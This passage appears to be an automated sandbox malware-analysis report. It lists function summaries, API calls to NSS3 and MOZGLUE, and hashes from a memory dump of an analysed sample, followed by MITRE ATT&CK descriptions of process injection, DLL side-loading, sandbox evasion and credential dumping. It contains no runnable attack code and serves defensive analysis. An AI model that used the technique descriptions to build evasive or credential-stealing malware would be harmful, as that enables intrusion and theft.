Part of subcall function 6CE5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE5E231
Part of subcall function 6CE5E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE5E249
Part of subcall function 6CE5E190: PR_ExitMonitor.NSS3 ref: 6CE5E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE61E37
PR_ExitMonitor.NSS3 ref: 6CE61E4A

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: aa1425320091432790eff10ce97cd9e2d8d0f8623a29c09e5b135c34701f76e9
Instruction ID: 4dad027e3b5646e056e64bc40063068605a6d198372980d71a24f3e8af8af850
Opcode Fuzzy Hash: aa1425320091432790eff10ce97cd9e2d8d0f8623a29c09e5b135c34701f76e9
Instruction Fuzzy Hash: 350126B1BA015097EB014BABED40F4277B4AB52B4CF300035E81997F91E772E825CBD2

Function 6CE61D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE61D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE61D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE61D9C
free.MOZGLUE(00000000), ref: 6CE61DB8

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: d8bba4a0e832020b1da2bf222e5f130b075bd788c7f26fcb1994826e494eab5e
Instruction ID: 4a738bff4e1b5bd2f38250e01b501355f6b7a00184fb2f4c6f9a3fd7f0dfec07
Opcode Fuzzy Hash: d8bba4a0e832020b1da2bf222e5f130b075bd788c7f26fcb1994826e494eab5e
Instruction Fuzzy Hash: F4F026B2A9120057FB111A9BED42B5632789B8169DF300239D91887F40D631E40182E1

Function 6CEAFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4
free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: bf15f2ae2559e0bb5f3598c3df5770ffc9f8c597ddf4f9939649b736d0e2d330
Instruction ID: 5f56d738b93efcb70f5ffb0cfad6a7b755606bd4d6d6ff4a9fcee9e461573771
Opcode Fuzzy Hash: bf15f2ae2559e0bb5f3598c3df5770ffc9f8c597ddf4f9939649b736d0e2d330
Instruction Fuzzy Hash: FEF0C8F66022029FEF014B95ED90A27B778EF4529DB248134ED098EB01E731E816C7E1

Function 6CF6CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF6CC61
free.MOZGLUE ref: 6CF6CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF6CC80
free.MOZGLUE(?), ref: 6CF6CC87

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 639b25f3786c3d896fd3af43734817854574c1a099210ce0f144a0d07c6c2cba
Instruction ID: 2cff5adb67858d06a3b20d5ebf7d53b04743351790d4b6443b28519306c75eea
Opcode Fuzzy Hash: 639b25f3786c3d896fd3af43734817854574c1a099210ce0f144a0d07c6c2cba
Instruction Fuzzy Hash: 1EE030767006089BCA10EFA8DC4488AB7ACEE492703150525E691C3700D232F905CBA1

Function 6CE49DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE49E1F

Part of subcall function 6CE013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDD2352,?,00000000,?,?), ref: 6CE01413
Part of subcall function 6CE013C0: memcpy.VCRUNTIME140(00000000,6CDD2352,00000002,?,?,?,?,6CDD2352,?,00000000,?,?), ref: 6CE014C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CE4A006
ESCAPE expression must be a single character, xrefs: 6CE49F78

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: c3c4b97488c84eb21fe8caefd4c64bd93edb588c4219eccaf343e21b8eda2a64
Instruction ID: 653045c8de832c534b7989268adbc335f8e08a9031ac027382e6f123c47a4f6c
Opcode Fuzzy Hash: c3c4b97488c84eb21fe8caefd4c64bd93edb588c4219eccaf343e21b8eda2a64
Instruction Fuzzy Hash: 5D811870A042518BD700CF29D1817BAB7F6AF8532CF38C659D8A5ABB81D736D846C790

Function 6CEA4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CEA4DE6

Strings

%d.%d, xrefs: 6CEA4DDE

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: e512bb8fed5dec1d5bc060f778fdad82b486b78d6cd2431ce4e21411a5326425
Instruction ID: 0eff55e0a6df489059186802f6d4e57392b174a80a321d33c6d5a583bd19516b
Opcode Fuzzy Hash: e512bb8fed5dec1d5bc060f778fdad82b486b78d6cd2431ce4e21411a5326425
Instruction Fuzzy Hash: 8031C5B2D042186FEB509BE19C01BFF7A78EF41308F250469ED159F781EB319906CBA2

Function 6CEC4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEC3827,?,00000000), ref: 6CEC4D0A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEC4D22

Part of subcall function 6CEAFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE51A3E,00000048,00000054), ref: 6CEAFD56

Strings

'8l, xrefs: 6CEC4D07

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: f35f62a3b838504b53b126217ca8265e0ee5b9414788e14ecc96b50e5344697e
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 8BF0687270112857DB105D6A9E407673AFC9B4177DF351272DD38DB791E631DC018693

Function 6CEEAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CEEAF78

Part of subcall function 6CE4ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4ACE2
Part of subcall function 6CE4ACC0: malloc.MOZGLUE(00000001), ref: 6CE4ACEC
Part of subcall function 6CE4ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE4AD02
Part of subcall function 6CE4ACC0: TlsGetValue.KERNEL32 ref: 6CE4AD3C
Part of subcall function 6CE4ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE4AD8C
Part of subcall function 6CE4ACC0: PR_Unlock.NSS3 ref: 6CE4ADC0
Part of subcall function 6CE4ACC0: PR_Unlock.NSS3 ref: 6CE4AE8C
Part of subcall function 6CE4ACC0: free.MOZGLUE(?), ref: 6CE4AEAB

memcpy.VCRUNTIME140(6CFB3084,6CFB02AC,00000090), ref: 6CEEAF94

Strings

SSL, xrefs: 6CEEAF73

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 8a7edc41fe8122a00ae228de30b99bed491a95318ea7e123a8b477f63e618473
Instruction ID: 89e956a0487d8a989ed002c8693005596c14abbd300802835baf1fadb3a64827
Opcode Fuzzy Hash: 8a7edc41fe8122a00ae228de30b99bed491a95318ea7e123a8b477f63e618473
Instruction Fuzzy Hash: E2216DB2FA5B899BCA81DF51A4833167E71BB0A2CC7205118C5190BF28EB31504C9F9D

Function 6CE40F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B

Part of subcall function 6CE41370: GetSystemInfo.KERNEL32(?,?,?,?,6CE40936,?,6CE40F20,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000), ref: 6CE4138F

PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

Part of subcall function 6CE41110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001,00000040), ref: 6CE41130
Part of subcall function 6CE41110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001,00000040), ref: 6CE41142
Part of subcall function 6CE41110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001), ref: 6CE41167

Strings

clock, xrefs: 6CE40F20

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c1ff5c5670ce654d7d06037bdaa620ac1d5c5b2bcf4dce2a500dab425d92d95c
Instruction ID: 67da5a6bc26c480a9d7d700ca44acc2f9eb03f36e1a14fc6f2a2c3cd094cf423
Opcode Fuzzy Hash: c1ff5c5670ce654d7d06037bdaa620ac1d5c5b2bcf4dce2a500dab425d92d95c
Instruction Fuzzy Hash: BBD01232A0825455C95167D7BC85B96B6BCC7C32BAF20CC6AE12842E104B6654FAD369

Function 6CEB0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CEB0DF5
TlsGetValue.KERNEL32 ref: 6CEB0E2D
TlsGetValue.KERNEL32 ref: 6CEB0E58
TlsGetValue.KERNEL32 ref: 6CEB0E84

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 23b96065084f237a2ba3060cd3bed666676db0fea722f2229a8c3b1fbbabd6d6
Instruction ID: 310d0fb5388c6e3a4474c2e8806d7aad52d95e628d437d7508dbe07a207ad5d3
Opcode Fuzzy Hash: 23b96065084f237a2ba3060cd3bed666676db0fea722f2229a8c3b1fbbabd6d6
Instruction Fuzzy Hash: E73195B0A543818BDF406F78D78477977B4BF0634CF21866DE89897B11EB35A085CB81

Function 6CEB0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE52AF5,?,?,?,?,?,6CE50A1B,00000000), ref: 6CEB0F1A
malloc.MOZGLUE(00000001), ref: 6CEB0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEB0F42
TlsGetValue.KERNEL32 ref: 6CEB0F5B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 1213af0e784df5008500ca1d2c11074d1c45ea95985e22f61841d652dbf5238a
Instruction ID: 27551b50a0a70197dcd2119f42b1de22d3daeabe90e77fd0f9869db1926ec11e
Opcode Fuzzy Hash: 1213af0e784df5008500ca1d2c11074d1c45ea95985e22f61841d652dbf5238a
Instruction Fuzzy Hash: E20128F2F102809BE7502B3A9F45676BABCEF5229DF210135ED18D2A21EB31D405C6E2

Function 6CE61EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE61ECE
free.MOZGLUE(?), ref: 6CE61EDF
free.MOZGLUE(?), ref: 6CE61EEF
free.MOZGLUE(?), ref: 6CE61EF5

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 53c6f43bb2b267581bf855a8d1b0b3138671f14e501cb90d2b18c23fa7e6b677
Instruction ID: 8384d25e585d5d45224feed39bde1630cff3be0a9d1991cdbe1a1b139a36e1f2
Opcode Fuzzy Hash: 53c6f43bb2b267581bf855a8d1b0b3138671f14e501cb90d2b18c23fa7e6b677
Instruction Fuzzy Hash: 09F0B4B5B50501ABEB009BE6EC45F27B37CEF45199B140424EC19C3E00D726F41086A1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
